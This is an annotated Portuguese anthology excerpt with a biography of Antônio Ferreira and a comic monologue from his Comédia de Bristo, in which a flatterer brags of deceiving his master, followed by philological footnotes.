ANTÔNIO FERREIRA

ANTÔNIO FERREIRA (Lisboa, 1528-1559) fêz sérios estudos de humanidade em Coimbra, onde aprendeu o Grego com Diogo de Teige. Concluindo o seu curso de Direito Civil, foi lente da Universidade donde passou a desembargador na capital do Reino. Benquisto na corte, obteve a mercê de fidalgo.

Escreveu duas comédias em prosa, Bristo e Cioso, e uma tragédia em versos, Castro; além de várias composições líricas — sonetos, éclogas, elegias, epístolas, odes publicadas com o título de Poemas Lusitanos.

Tem muito dura a metrificação porém com zeloso esmero cultivou a língua. "A sua significação neste período — disse J. M. de Andrade Ferreira — é a do talento que se fecunda nas fontes da erudição da Renascença, e amontoa tesouros de vernaculidade e locução poética, para as obras com que enriquece a literatura portuguesa.

Austúcia de um Lisonjeiro

Vedes ali um homem que nunca vi, nem conheci senão desde que entrei nesta terra. Tive tão boa manha com êle que lhe meti em cabeça que o servira em Rodes uns dias; de maneira que, ainda que lhe agora jure o contrário," já me não crerá.

Terra foi onde nunca pus os pés.

Toda a minha vida fui beleguim em Roma, matei lá um clérigo, acolhi-me a este couto. (474).

A alma não sei que tal anda, a vida queria segurar, mor medo hei à forca que ao diabo. Quis-me Deus bem, que vim topar com êsíe doido; meti-lhe mil mentiras em cabeça com pouco trabalho, dês que me informei de sua arte: dou com ele (475) um dia em sua casa estando jogando com outros (que foi grande acerto); lanço-me a seus pés, começo de abraçar, forno se o sempre conhecera; (476) êle na verdade à primeira vista ficou confuso, mas desde que me ouviu falar em Rodes, nos Cavaleiros, nos Turcos, e dizer mil façanhas que fizera, de que cu soube que se êle gabara muito, abraçou-me, conheceu-me, irisalhou-me, tem-me como um rei. Eu sou o que mando a êle e a casa toda; é homem de boa renda, vão, gastador, denodado, cabeça de ferro, que, conquanto não hei medo ao diabo, assombro-me com êle. O serviço que lhe faço é falar-lhe à von-tade, gabar-lhe quanto faz, rir-me quando ri, crer-lhe quanto diz, mentir-lhe isso que posso; se chora, choro; se canta, bailo; se brada, grito; e só com isso o contento. Conto-lhe coisas que êle nunca viu, nem fêz, desafios que teve, batalhas que venceu, mil perigos de que me livrou, e tudo cuida que é si. (477) Senão de quando em quando me diz que lhe não lembra. Então me vejo em aperto; mas começo-me a rir dele, e dizer que uma moça tem poder de lhe torvar o juízo e a memória. Quando isto não basta, juro-lhe por quantos juramentos me ensina o diabo. Assim que por uma via ou por outra, tudo lhe faço crer. Ajudou-me a mi, muito a conversação que tive uns dias com um soldado que se lá achou, que me deu alguma informação da terra, e me contou coisas deste que fazia doidamente, mas saíam-lhe tão bem que espantava (478) a todos.

Eu com uma verdade encubro dez mentiras, e tenho tal arte que ponho em lembrança as mais assinaladas coisas que me conta. Torno-lhas a contar daí a uns dias tão naturalmente como se lhas eu vira fazer pelos meus olhos. Mas a graça é que ainda algumas destas me diz que lhe não lembram. Este hei eu por maior aperto, porque estou estalando com riso; quando me não posso ter, digo-lhe que me lembrou uma graça sua. Que quereis mais?

Aconteceu-me já i-lo espreitar uma noite à sua câmera, e vê-lo andar passeando só às escuras, contando a si mesmo mil mentiras impossíveis. Como entrou, como veio, quantos matou, que golpes deu, que de todo em todo cuidei que era doido. E com isto arrenegava, descria, bradava, como se andara metido em todo o furor das armas; quando veio pela manhã, não se lembrava de nada. Eu também, porque lhe sei a condição, faço-me com êle um Hércules; onde quer que o vejo, tudo são feros e cruezas: se homem (479) não usar destes ardis, como quereis que viva? Bem parvo é aquele que se fia agora em virtudes; não achais por elas quem vos fie um púcaro de água. Todo o siso é dizer bem do mal, dissimular, lisonjear, mentir onde é necessário, que às vezes é grão prudência. Eu desta maneira tenho vida de rei por mui pouco preço, outros haverá que a comprem mais caro, e não lhe (480) rende tanto. Mas que faço eu aqui? Quero-me ir a negociar meus negócios…

(Comédia de Bristo, ato 2.°, cena V: vol. II, das Obras, p. 323). por ANTÔNIO FERREIRA

  • (474) couto — refúgio, abrigo, asilo; do part. caiilu- do v. lat. cavêre, defender-se, acautelar-se (de cujo composto praecavêrc provém o nosso v. defect. precaver, desprovido de formas rizotónicas). O povo, na serenidade da igno-rânci», inventou as fornias precavenham-se e precavejam-se, absolutamente inc- xistentes.
  • (475) dou com êle = achei-o, encontrei-o, descobri-o.
  • (476) como se o sempre conhecera. Foi muito ampla entre os antigos a liberdade de colocar as partículas. Veriíique-se em Os Lusíadas a evidência desse fato: — II, 144; III, 825; IV, 30«, 535, 96"; V, 32«; VI, 908; VII, 275, 35*, 46=; VIII, 31′; IX, 61, 49a; X, 155G.
  • (477) cuida que é si — que é sua pessoa: maneira popular de usar o reflexivo desacompanhado de preposição.
  • (478) que espantava a todos — suj. de espantava é êle,
  • (479) homem, igual ao on francês, uom ital. one ingl., como pron. indef. referente a pessoa. Usou-se outrora até o séc. XVI ("ou por segredos que homem não conhece". — Lus., Ill, 69), e escritores modernos o têm empregailo. Haja vista Machado de Assis: "Na verdade, jamais homem há visto / cousa na terra semelhante a isto!" (Poesias, 1901, p. 302).
  • (480) lhe = lhes; na época, invariável.

 


Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.

 

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